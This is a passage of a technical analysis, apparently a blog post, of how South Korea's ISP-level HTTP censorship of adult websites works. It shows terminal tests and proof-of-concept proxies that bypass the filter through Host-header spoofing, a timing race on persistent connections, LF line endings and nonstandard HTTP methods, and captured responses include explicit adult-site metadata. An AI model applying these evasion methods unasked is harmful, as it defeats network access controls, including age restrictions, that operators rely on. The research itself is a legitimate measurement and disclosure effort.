index.html.1100%[=====================================================================================================================>] 10.34K --.-KB/s in 0.02s
2016-10-01 XX:XX:XX (628 KB/s) - 'index.html.1' saved [10590/10590]
user@kali:~$
Now by setting a custom vhost (please-enlarge-my-bandwith.com
), we will bypass the censorship!
user@kali:~$ wget --header="Host: please-enlarge-my-bandwith.com" -O- http://www.tube8.com/
--2016-10-01 XX:XX:XX-- http://www.tube8.com/
Resolving www.tube8.com (www.tube8.com)... 31.192.112.104
Connecting to www.tube8.com (www.tube8.com)|31.192.112.104|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'STDOUT'
<!DOCTYPE html>
<html class="en" lang="en" id="lang_en">
<head>
<script type="text/javascript">
var rta = document.createElement('script');
rta.type = 'text/javascript';
[...]
Censorship was bypassed and confirms the filtering occurs in the Host
header if we are using HTTP/1.1.
Introducing a new banned website: www.spankwire.com
.
This website is censored.
The reader will note that we only did GET
requests in the previous sections. Now, from my tests, only GET
and POST
are filtered:
These requests will be censored:
GET
request with a Host
header:
user@kali:~$ (echo GET / HTTP/1.0
echo Host: www.spankwire.com
echo ) | nc www.spankwire.com 80
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
GET
request with a complete URI containing a censored website:
user@kali:~$ (echo GET http://www.spankwire.com/ HTTP/1.0
echo ) | nc www.spankwire.com 80
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
POST
requests are censored too.
Fun facts: X
RANDOM
PUT
DELETE
OPTIONS
TRACE
CONNECT
methods are NOT censored.
A X
method and a RANDOM
method can work against Apache2 servers.
X / HTTP/1.0
will provide us with a remote resource, being treated as GET / HTTP/1.0
by Apache.
Nginx doesn't like random HTTP methods.
This can be used to bypass the censorship system as only GET
and POST
requests are analyzed.
You can send requests to multiple resources within a TCP connection for a HTTP/1.1 connection. Let's use it to find a "race condition" :)
user@kali:~$ cat tcp-http11-persistent-test0.sh
#!/bin/sh
(
# first request, asking information about /
echo 'HEAD / HTTP/1.1'
echo
sleep 0.3 # will bypass the block
# second request, getting /
echo 'GET / HTTP/1.1'
echo 'Host: www.tube8.com'
echo
) | nc www.tube8.com 80
user@kali:~$
Surprisingly, this request will bypass the censorship:
user@kali:~$ sh tcp-http11-persistent-test0.sh
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Content-Length: 178
Location: http://www.tube8.com/400.html
Vary: User-Agent, Accept-Encoding
Rating: RTA-5042-1996-1400-1577-RTA
Set-Cookie: RNLBSERVERID=ded1165; path=/
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Set-Cookie: t8segm=0; expires=Fri, 01-Oct-2017 00:00:00 GMT; Max-Age=604800; path=/
Set-Cookie: rand1=0000000000; expires=Fri, 01-Oct-2017 00:00:00 GMT; Max-Age=3600; path=/; domain=tube8.com
Set-Cookie: rand2=REMOVED; expires=Fri, 01-Oct-2017 00:00:00 GMT; Max-Age=3600; path=/; domain=tube8.com
Set-Cookie: GA-BE-SID=REMOVED
Vary: User-Agent, Accept-Encoding
Rating: RTA-5042-1996-1400-1577-RTA
Set-Cookie: RNLBSERVERID=ded1770; path=/
1e50
<!DOCTYPE html>
<html class="en" lang="en" id="lang_en">
<head>
<script type="text/javascript">
var rta = document.createElement('script');
rta.type = 'text/javascript';
rta.id = 'htScript';
rta.async = true;
rta.src = ('https:' == document.location.protocol ? 'https://' : 'http://')
[...]
Analysis: If you don't wait enough after sending the first request and then you send a second request with the same HTTP connection, the second HTTP request will not be analyzed by the censorship system.
I determined the sleep must be <= 0.3 second
to bypass the censorship. 0.4 second between HTTP requests with the same TCP connection will trigger the censorship system and the second request will be censored as shown below:
user@kali:~$ cat tcp-http11-persistent-test1.sh
#!/bin/sh
(
# first request, asking information about /
echo 'HEAD / HTTP/1.1'
echo
sleep 0.5 # will produce the block
# second request, getting /
echo 'GET / HTTP/1.1'
echo 'Host: www.tube8.com'
echo
) | nc www.tube8.com 80
user@kali:~$
Testing this code will trigger the censorship system on the GET
method:
user@kali:~$ sh cat tcp-http11-persistent-test1.sh
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Content-Length: 178
Location: http://www.tube8.com/400.html
Vary: User-Agent, Accept-Encoding
Rating: RTA-5042-1996-1400-1577-RTA
Set-Cookie: RNLBSERVERID=ded1770; path=/
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
user@kali:~$
As there are no HTTPS websites in the Wikipedia list of censored websites, I had to use https://github.com/aredo/porn-site-list/blob/master/sites.json to find censored websites with different characteristics (HTTP and HTTPS). Apparently, a lot of adult websites don't provide HTTPS versions. Booooh.
Only a few adult websites are using HTTPS. Google.com
helped me find a candidate supporting HTTP and HTTPS: www.tnaflix.com
(heavily NSFW, found with "porn using https").
www.tnaflix.com
is censored by default. It will redirect to http://www.warning.or.kr/
:
user@kali:~$ wget http://www.tnaflix.com/
--2016-10-01 XX:XX:XX-- http://www.tnaflix.com/
Resolving www.tnaflix.com (www.tnaflix.com)... 108.61.250.17
Connecting to www.tnaflix.com (www.tnaflix.com)|108.61.250.17|:80... connected.
HTTP request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01XX:XX:XX-- http://www.warning.or.kr/
Resolving www.warning.or.kr (www.warning.or.kr)... 121.189.57.82
Connecting to www.warning.or.kr (www.warning.or.kr)|121.189.57.82|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'index.html.6'
index.html.6 100%[=====================================================================================================================>] 10.34K --.-KB/s in 0.01s
2016-10-01 XX:XX:XX (1002 KB/s) - 'index.html.6' saved [10590/10590]
user@kali:~$
Now the HTTPS version will provide the original 179KB of the webpage:
user@kali:~$ wget https://www.tnaflix.com/
--2016-10-01 XX:XX:XX-- https://www.tnaflix.com/
Resolving www.tnaflix.com (www.tnaflix.com)... 108.61.250.17
Connecting to www.tnaflix.com (www.tnaflix.com)|108.61.250.17|:443...connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'index.html.4'
index.html.4 [ <=>] 180.17K 97.7KB/s in 1.8s
2016-10-01 XX:XX:XX (97.7 KB/s) - 'index.html.4' saved [184492]
user@kali:~$
Using HTTPS will completely bypass the "Warning webpage" from South Korean Agency, sus, bypassing the censorship.
Note that there are different behaviors with the censorship. For some websites blocked in HTTP, sometimes they can be browsed and sometimes they are blocked. It shows there is a BIG problem about transparent proxies (and it added complexity for me to debug/understand technologies involved). To demonstrate this:
Access OK:
user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com
HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.1
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.5
Location: http://xhamster.com/
Connection closed by foreign host.
user@kali:~$
Access blocked seconds later:
user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com
HTTP/1.0 302 Redirect
Location: http://www.warning.or.kr
Connection closed by foreign host.
user@kali:~$
Access OK seconds later:
user@kali:~$ telnet www.xhamster.com 80
Trying 88.208.29.24...
Connected to www.xhamster.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.xhamster.com
HTTP/1.1 301 Moved Permanently
Server: nginx/1.10.1
Date: Fri, 01 Oct 2016 00:00:10 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.0.5
Location: http://xhamster.com/
Connection closed by foreign host.
user@kali:~$
A lot of censored websites are using CDN to deliver online videos and images. These CDNs hosts don't seem to be censored even when clear text HTTP is being used.
The domains used in CDNs are not blacklisted by transparent proxies but by main domain names (www.stuff.tld, subdomain.stuff.tld).
I could not find censored websites supporting HTTP2 without HTTPS, so I was not able to test. However, considering how primitive the transparent proxies are, I'm sure it is not blocked.
But the lack of browser supporting this option limits the use of this technique to bypass the censorship:
However, some implementations have stated that they will only support HTTP/2 when it is used over an encrypted connection, and currently no browser supports HTTP/2 unencrypted.
-- https://http2.github.io/faq/#does-http2-require-encryption
I could not find censored websites supporting Websockets but, considering how primitive the transparent proxies are, there is a high probability that it is not censored.
As already shown, HTTPS websites are not censored. HTTPS with or without HTTP2 will allow to bypass the censorship.
HTTP/1.1 in clear text with the HTTP/2 upgrade
header will be triggered by the censorship system (because of the Host
header):
GET / HTTP/1.1
Host: server.example.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: <base64url encoding of HTTP/2 SETTINGS payload>
From my tests, I observed different behaviors when the request is sent line by line and when it's buffered and sent all together. This is a rare occurrence and I can't understand why.
Sending this request line by line on KT network will work (but not on SKT):
user@kali:~$ cat /dev/shm/req.txt
GET / HTTP/1.1
User-Agent: Wget/1.18 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: www.youjizz.com
Connection: Keep-Alive
user@kali:~$
Using readline (netcat), the connection will be blocked:
user@kali:~$ cat /dev/shm/req.txt| nc www.youjizz.com 80
HTTP/1.0 200 OK
Content-type: text/html
<html><script>
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
</script></html>
user@kali:~$
Using buffered HTTP requests (with telnet) - the connection will be uncensored:
user@kali:~$ telnet www.youjizz.com 80
Trying 31.192.122.224...
Connected to www.youjizz.com.
Escape character is '^]'.
GET / HTTP/1.1
User-Agent: Wget/1.18 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: www.youjizz.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.9.5
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=REMOVED; path=/
Expires: Thu, 01 Oct 1981 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Set-Cookie: RNLBSERVERID=ded1416; path=/
e69
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="RATING" content="RTA-5042-1996-1400-1577-RTA" />
<meta name="KEYWORDS" content="porn tube,you porn,sex tube,porntube,youporn,sextube,tube porn,porno tube,sex,free sex,mobile porn,iphone porn,phone porn,free porn videos,free sex movies,vids,adult,movie,amateur porn,anal sex,big dicks,big tits,blowjob,creampie,cumshot,hardcore,teen porn,youjizz,youjizz.com,nude teens,teen sex,hardcore sex,xxx adult video,porn videos,hardcore video,porn movies,teen hardcore,milf hardcore,sex movies,porn links,sex movies,all porn"/>
<meta name="DESCRIPTION" content="Youjizz Porn Tube! Free porn movies and sex videos on your desktop or mobile phone."/>
[...]
The same result with netcat - the connection will be uncensored:
user@kali:~$ nc www.youjizz.com 80
Trying 31.192.122.224...
Connected to www.youjizz.com.
Escape character is '^]'.
GET / HTTP/1.1
User-Agent: Wget/1.18 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: www.youjizz.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: nginx/1.9.5
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.2.17
Set-Cookie: PHPSESSID=REMOVED; path=/
Expires: Thu, 01Oct 1981 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Set-Cookie: RNLBSERVERID=ded1416; path=/
e69
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="RATING" content="RTA-5042-1996-1400-1577-RTA" />
<meta name="KEYWORDS" content="porn tube,you porn,sex tube,porntube,youporn,sextube,tube porn,porno tube,sex,free sex,mobile porn,iphone porn,phone porn,free porn videos,free sex movies,vids,adult,movie,amateur porn,anal sex,big dicks,big tits,blowjob,creampie,cumshot,hardcore,teen porn,youjizz,youjizz.com,nude teens,teen sex,hardcore sex,xxx adult video,porn videos,hardcore video,porn movies,teen hardcore,milf hardcore,sex movies,porn links,sex movies,all porn"/>
<meta name="DESCRIPTION" content="Youjizz Porn Tube! Free porn movies and sex videos on your desktop or mobile phone."/>
From nc manpage:
Data from the network connection is always delivered to standard output as efficiently as possible, using large 8K reads and writes. Standard input is normally sent to the net in the same way, but the -i switch specifies an "interval time" which slows this down considerably. Standard input is still read in large batches, but netcat then tries to find where line breaks exist and sends one line every interval time. Note that if standard input is a terminal, data is already read line by line, so unless you make the -i interval rather long, what you type will go out at a fairly normal rate. -i is really designed for use when you want to "measure out" what is read from files or pipes.
--
man 1 nc
A basic test is provided with a second website:
user@kali:~$ cat buffered-request.sh
echo GET / HTTP/1.0
echo Host: www.xhamster.com
echo
user@kali:~$
Using nc
with a pipe will have my request censored:
user@kali:~$ sh buffered-request.sh | nc www.xhamster.com 80
HTTP/1.0 200 OK
Content-type: text/html
<html><script>
var arg = "http://warning.or.kr";
var str = new Array();
str = arg.split("&", 1);
var a = new Array();
a = str[0].split("=");
var b = Math.floor(a[1] / 100);
var c = new Array();
if(b == 10){location.replace("http://www.naver.com");}
else if(b == 20){location.replace("http://www.daum.net");}
else if(b == 30){location.replace("http://www.paran.com");}
else{ c = a[0].split("?");
location.replace(c[0]);}
</script></html>
Using nc
within a shell will bypass the censorship:
user@kali:~$ nc www.xhamster.com 80
GET / HTTP/1.0
Host: www.xhamster.com
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 01 Oct 2016 00:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Location: http://xhamster.com/
Analysis: if you send HTTP requests line by line, you "CAN" bypass the censorship system. Unfortunately, browsers are sending requests in a big buffer. Note this is specific to the KT ISP. I think they are using a specific version of the censorship cluster, as the behavior is inconsistent with the other 2 ISPs.
Using samair.ru services and proxies in private VPS, I determined that all the TCP ports are being watched.
When a proxy with port 80/tcp
is used, the request is blocked:
user@kali:~$ http_proxy=http://115.159.XXX.XXX:80/ wget http://www.tube8.com
--2016-10-01 00:00:00-- http://www.tube8.com/
Connecting to 115.159.XXX.XXX:80... connected.
Proxy request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 00:00:00-- http://www.warning.or.kr/
Connecting to 115.159.217.30:80... connected.
[...]
When proxy with port 2222/tcp
is used, the request is blocked:
user@kali:~$ http_proxy='http://9X.XX.XX.XX:2222/' wget http://www.redtube.com/
--2016-10-01 00:00:00-- http://www.redtube.com/
Connecting to 9X.XX.XX.XX:2222... connected.
Proxy request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 00:00:00-- http://www.warning.or.kr/
Connecting to 9X.XX.XX.XX:2222... connected.
Proxy request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'index.html.2'
index.html.2 100%[===================>] 10.34K 16.8KB/s in 0.6s
2016-10-01 00:00:00 (16.8 KB/s) - 'index.html.2' saved [10590/10590]
user@kali:~$
When a proxy with port 3128/tcp
is used, the request is blocked too:
user@kali:~$ http_proxy='http://9X.XX.XX.XX:3128/' wget http://www.tube8.com
--2016-10-01 XX:XX:XX-- http://www.tube8.com/
Connecting to 9X.XX.XX.XX:3128... connected.
Proxy request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 XX:XX:XX-- http://www.warning.or.kr/
Connecting to 9X.XX.XX.XX:3128... connected.
Proxy request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'index.html.1'
index.html.1 100%[===================>] 10.34K 20.1KB/s in 0.5s
2016-10-01 XX:XX:XX (20.1 KB/s) - 'index.html.1' saved [10590/10590]
user@kali:~$
When a proxy with port 54182/tcp
is used, the request is blocked too:
user@kali:~$ http_proxy='http://9X.XX.XX.XX:54182/' wget http://www.tube8.com
--2016-10-01 XX:XX:XX-- http://www.tube8.com/
Connecting to 9X.XX.XX.XX:54182... connected.
Proxy request sent, awaiting response... 302 Redirect
Location: http://www.warning.or.kr [following]
--2016-10-01 00:00:00-- http://www.warning.or.kr/
Connecting to 9X.XX.XX.XX:54182... connected.
Proxy request sent, awaiting response... 200 OK
Length: 10590 (10K) [text/html]
Saving to: 'index.html.1'
index.html.1 100%[===================>] 10.34K 20.1KB/s in 0.5s
2016-10-01 XX:XX:XX (20.1 KB/s) - 'index.html.1' saved [10590/10590]
user@kali:~$
Analysis: the censorship system is analyzing ALL the HTTP packets.
Unfortunately the censorship system with IPv6 packets cannot be tested as it is impossible to get an IPv6 in South Korea :(
I will show different measures that do not require a VPN to bypass the censorship.
This is the easiest solution but requires a wildcard configuration in the remote http website you want to visit.
As seen before, www.tube8.com
webservers accept all vhosts to serve www.tube8.com
webpages.
We get the IP of www.tube8.com
:
user@kali:~$ host www.tube8.com
www.tube8.com has address 31.192.112.104
user@kali:~$
By simply adding the IP to the /etc/hosts
file on Linux, you will associate a new host:
root@kali:~# echo "31.192.112.104 this.is.not.tube8" >> /etc/hosts
By visiting http://this.is.not.tube8/
, you will have access to the tube8.com
website evading the censorship (the resulting image was censored by me):
You can also use a proxy that rewrites all the requests.
We will code a proxy for the next solutions only :)
The censorship only works on the first HTTP request when using a HTTP/1.1 persistent connection as long as the second request is sent fast enough (< 0.3s). If you use it within 0.3s, you can force the remote transparent proxies to skip the verification.
From my tests, doing a HTTP/1.1 keep-alive request with 1 GET
then waiting less than 0.3s and asking a new GET
will bypass the censorship. A delay more than 0.3s between the requests will force a verification by the transparent proxies. Doing 2x GET
for each resource is too expensive in bandwidth term. We will prefer using a HEAD
instead of the first GET
request (you can use a PUT
or whatever you want).
By exploiting this fact it is very easy to bypass censorship - see a HTTP proxy as provided below:
GET http://google.com/ HTTP/1.1
HEAD / HTTP/1.1 Host: hacktheplanet GET http://google.com/ HTTP/1.1\r\n\r\n
GET http://google.com/ HTTP/1.1
) from the HTTP/1.1 keep-alive session, skipping the answer of the HEAD / HTTP/1.1
request.The bypass is complete but requires sending a HEAD
for each GET
.
Example:
Someone wants to visit www.xhamster.com
:
user@kali:~$ http_proxy=http://127.0.0.1:8081/ firefox http://www.xhamster.com/ &!
The proxy logs will show you the requests of the client:
user@kali:~$ ./proxy-head-then-get.py
Starting HEAD-then-GET PoC Proxy Server on 127.0.0.1 : 8081
Request to http://www.xhamster.com/
Request to http://xhamster.com/
Request to http://static-ec.xhcdn.com/id93/css/main2.css
Request to Request to http://static-ec.xhcdn.com/id277/js/main2.jshttp://static-ec.xhcdn.com/js/jquery-1.9.1.o.min.js
Request to Request to Request to Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
http://static-ec.xhcdn.com/id2/js/ads.js
http://static-ec.xhcdn.com/id16/js/track.min.jsRequest to http://static-ec.xhcdn.com/id4/js/ablockhint.js
http://cdn.trafficstars.com/sdk/v1/p.js
Request to http://static-ec.xhcdn.com/images/favicon/favicon-128x128.png
Request to http://ocsp.digicert.com/
Request to http://static-ec.xhcdn.com/id16/js/track.min.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/id93/css/main2.css
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://xhamster.com/
Request to http://static-ec.xhcdn.com/id93/css/main2.css
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id2/js/ads.js
Request to http://static-ec.xhcdn.com/id16/js/track.min.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/js/jquery-1.9.1.o.min.js
Request to http://static-ec.xhcdn.com/id277/js/main2.js
Request to http://cdn.trafficstars.com/sdk/v1/p.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to Request to http://static-ec.xhcdn.com/images/flag/v3/KR.png
http://txh.xhcdn.com/t/685/9_6478685.jpg
Request to Request tohttp://txh.xhcdn.com/t/050/9_6478050.jpg
http://static-ec.xhcdn.com/images/tpl2/rta.png
Request toRequest to http://txh.xhcdn.com/t/482/1_6478482.jpg
Request to http://txh.xhcdn.com/t/287/1_6478287.jpg
Request to http://txh.xhcdn.com/t/685/9_6478685.jpg
^CTraceback (most recent call last):
File "./proxy-head-then-get.py", line 95, in <module>
main()
File "./proxy-head-then-get.py", line 45, in main
conn, client_addr = s.accept()
File "/usr/lib/python2.7/socket.py", line 206, in accept
sock, addr = self._sock.accept()
KeyboardInterrupt
user@kali:~$
This proxy will successfully bypass the censorship system. The user has a full access to the censored website.
Example with www.youporn.com
:
You can fetch this PoC at https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-head-then-get.py.
As seen in the 6.2 section, you can use multiple HTTP requests inside a HTTP connection.
To avoid using too much bandwidth asking the remote resource twice, we can do the following:
Step 1: client sends a request to the proxy: GET http://google.com/ HTTP/1.1
Step 2: the proxy sends a request to the remote HTTP server containing below:
GET /random-404-blabla HTTP/1.1 Host: hacktheplanet GET http://google.com/ HTTP/1.1\r\n\r\n
GET http://google.com/ HTTP/1.1
) from the HTTP/1.1 keep-alive session, skipping the answer of the first GET
request.This allows to completely bypass the censorship.
A PoC (proxy) is provided and works as long as the size of the 404 page is small.
The PoC in action while the user wants to visit a censored webpage (using the 127.0.0.1:8082) proxy is below:
user@kali:~$ http_proxy=http://127.0.0.1:8082/ ./proxy-get-then-get.py
Starting GET-then-GET PoC Proxy Server on 127.0.0.1 : 8082
Request to http://xhamster.com/
Request to http://static-ec.xhcdn.com/id93/css/main2.css
Request to Request toRequest to http://static-ec.xhcdn.com/id4/js/ablockhint.js
http://static-ec.xhcdn.com/id277/js/main2.jsRequest to http://static-ec.xhcdn.com/id2/js/ads.js
http://static-ec.xhcdn.com/js/jquery-1.9.1.o.min.js
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id16/js/track.min.js
Request to http://static-ec.xhcdn.com/images/favicon/favicon-128x128.png
Unhandled exception in thread started by <function proxy_thread at 0x7f0e80592140>
Traceback (most recent call last):
File "./proxy-get-then-get.py", line 54, in proxy_thread
url = first_line.split(' ')[1]
IndexError: list index out of range
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id2/js/ads.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://cdn.trafficstars.com/sdk/v1/p.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id2/js/ads.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id16/js/track.min.js
Request to http://static-ec.xhcdn.com/images/favicon/favicon-128x128.png
Unhandled exception in thread started by <function proxy_thread at 0x7f0e80592140>
Traceback (most recent call last):
File "./proxy-get-then-get.py", line 54, in proxy_thread
url = first_line.split(' ')[1]
IndexError: list index out of range
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id2/js/ads.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://cdn.trafficstars.com/sdk/v1/p.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/id3/js/private/private.min.js
Request to http://static-ec.xhcdn.com/id2/js/ads.js
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://clients1.google.com/ocsp
Request to http://static-ec.xhcdn.com/id4/js/ablockhint.js
Request to http://static-ec.xhcdn.com/images/snapchat/snapchat-image.png
Request to http://txh.xhcdn.com/t/480/7_6062480.jpg
Request to http://static-ec.xhcdn.com/images/tpl2/rta.png
[...]
This proxy will successfully bypass the censorship system. The user has a full access to the censored website.
You can fetch this PoC at https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-get-then-get.py.
The censorship engine on the edge of KT network only supports \r\n in HTTP requests.
By using \n
inside your http requests instead of \r\n
, you will completely bypass the censorship system.
From RFC2616:
CR = <US-ASCII CR, carriage return (13)>
LF = <US-ASCII LF, linefeed (10)>
HTTP/1.1 defines the sequence CR LF as the end-of-line marker for all protocol elements except the entity-body
However, there is a "tolerance provision" in Section 19.3 in RFC2616:
The line terminator for message-header fields is the sequence CRLF. However, we recommend that applications, when parsing such headers, recognize a single LF as a line terminator and ignore the leading CR.
The censorship system located on the edge of KT network only supports \r\n
, so using \n
will bypass the censorship and allow access to servers accepting \n
(like 100% of the available HTTP servers).
A proxy is provided:
user@kali:~$ python proxy-crlf-to-lf.py
Starting CRLF-to-LF PoC Proxy Server on 127.0.0.1 : 8080
Works using KT
Request to http://localhost/
Using 127.0.0.1:8080
as a proxy will rewrite all the HTTP requests without having to configure anything.
This method is unreliable and may not work sometimes. I bet I'm using a specific cluster of transparent proxies that are very HTTP-compliant.
Note to the developers of the transparent proxies: seriously guys? Only accepting \r\n
as a valid method and allowing \n
to bypass all the filters? This smells like a nice backdoor feature.
You can fetch this PoC at https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-crlf-to-lf.py.
As you may know, there are a lot of HTTP methods: PUT
, GET
, POST
, TRACE
...
You can define an X
method instead of GET
. Apache2 is very permissive and will serve the webpages even if it's not a valid method. Nginx will refuse invalid methods.
A PoC is provided and will rewrite all the GET
into a X
producing these requests:
X / HTTP/1.0
Host: www.website.com
The problem is that CDN used for JavaScript/images will refuse the X
method and you will see borked websites.
Using the list provided at https://github.com/aredo/porn-site-list/blob/master/sites.json, I determined 50% of the websites are reachable using this technique.
You can fetch this PoC at https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-X-method.py.
As demonstrated above in the section 3.5.10, if you send requests line by line using the KT network, you will bypass the censorship system.
A proxy is provided in the PoC and will modify the requests.
The important part is:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((webserver, 80))
for req in request.split('\n'):
s.send(req + '\n')
It is not very performance-oriented but it will bypass the censorship system :)
You can fetch this PoC at https://github.com/pierrekim/censorship-in-south-korea/blob/master/proxy-readline.py.
When requesting a remote webpage, by observing the answer, we can determine whether a website is censored or not (does the reply contains a 302 redirection to www.warning.or.kr
or does it contain the string www.warning.or.kr
?).
If it is censored, the proxy can try consecutively multiple methods (see 6.1 to 6.6) to fetch the resource and, if the censorship is bypassed, to serve it to the client. The proxy can have a hash list corresponding to blocked websites and the working methods to bypass the censorship system.
As CDN are not blocked, this method is very effective. Writing a PoC is left as an exercise for the reader.
The censorship system does not analyze VPN connections. You can put your traffic inside encrypted connection to bypass it.
This is the easiest solution but can be costly instead of the free ones I listed above.
The censorship system does not support HTTPS. You can put your traffic inside encrypted HTTPS connections to bypass it with a remote https proxy or just by accessing to remote HTTPS websites.
The Internet censorship used in South Korea is rudimentary from a technical point of view. It only analyzes Host
headers in every request and absolute URLs in old HTTP versions. It doesn't block VPN, HTTPS and HTTP2 websites but analyzes all the TCP connections. It can be bypassed very easily compared to the Chinese wall and is not compatible to a very-old protocol or new-protocol. I discovered no DNS poisoning in my tests.
For some sites, a browser plugin rewriting the Host
field will even allow to bypass the censorship (as long as the websites provide webpages for the default/random virtual hosts).
The government is still analyzing at least the headers of all HTTP requests and is comparing the Host
header and the URI
with a blacklist of domains.
Considering all the efforts that the government of South Korea is making in censorship from a legal point of view, I'm very surprised at the lack of technologies involved - we are speaking about one of the best connected countries in the world with gigabit connections everywhere (although their routers are massively hackable). A 12 year-old boy can bypass this borked censorship system in 5 minutes. We see minimal best effort to block websites, showing that the government wants users to think they are controlling the Internet but doesn't have budget to apply the censorship. We see transparent HTTP proxies with different behaviors (accepting and sometimes blocking for the same webpage), which means deployment problems and inconsistencies in configurations of the blocking solution.
The current solution is not working and, because of its inefficiency dealing with encrypted websites or new protocols, in my view, will be replaced by massive nullroutes of targeted websites. As soon as major adult websites will switch to SSL/TLS, the current censorship system will become completely ineffective.
Note that South Korean social medias (Naver, Daum, ...) appear to be still very monitored. However, using social medias not located in South Korea seems to bypass this censorship. Social medias are not included in the scope of this technical analysis.
Search engines are massively censored as well: Naver.com (first search engine in South Korea) and Google.co.kr will happily return 0 result about certain terms or will ask you information to release results (your name, your phone number, your birthday) saying that: "Harmful results for youth have been excluded. Users being more that 19 year-old can view all the results through the adult authentication."
I would like to thank my wife who endures my time-consuming passions (maybe craziness is the correct term).
I would like to thank A, J and T (you know who you are :)
A new generation is coming, we have duties to transfer knowledge in order to show how things work and how to break them. Our freedom depends on it.
1/ Please don't use an image containing a lot of Korean text to explain what is going on. Using http://warning.or.kr/img/img.png is a bad idea for beginners in Hangeul.
2/ Don't use JavaScript to disable the right click - we are not in the 2000s anymore. Seriously?!?
<script language="JavaScript"> <!-- function click() { if (event.button != 1) { } } document.onmousedown=click; --> </script>
3/ Please provide an International/English version for non-Korean speaker/Hangeul-beginner.
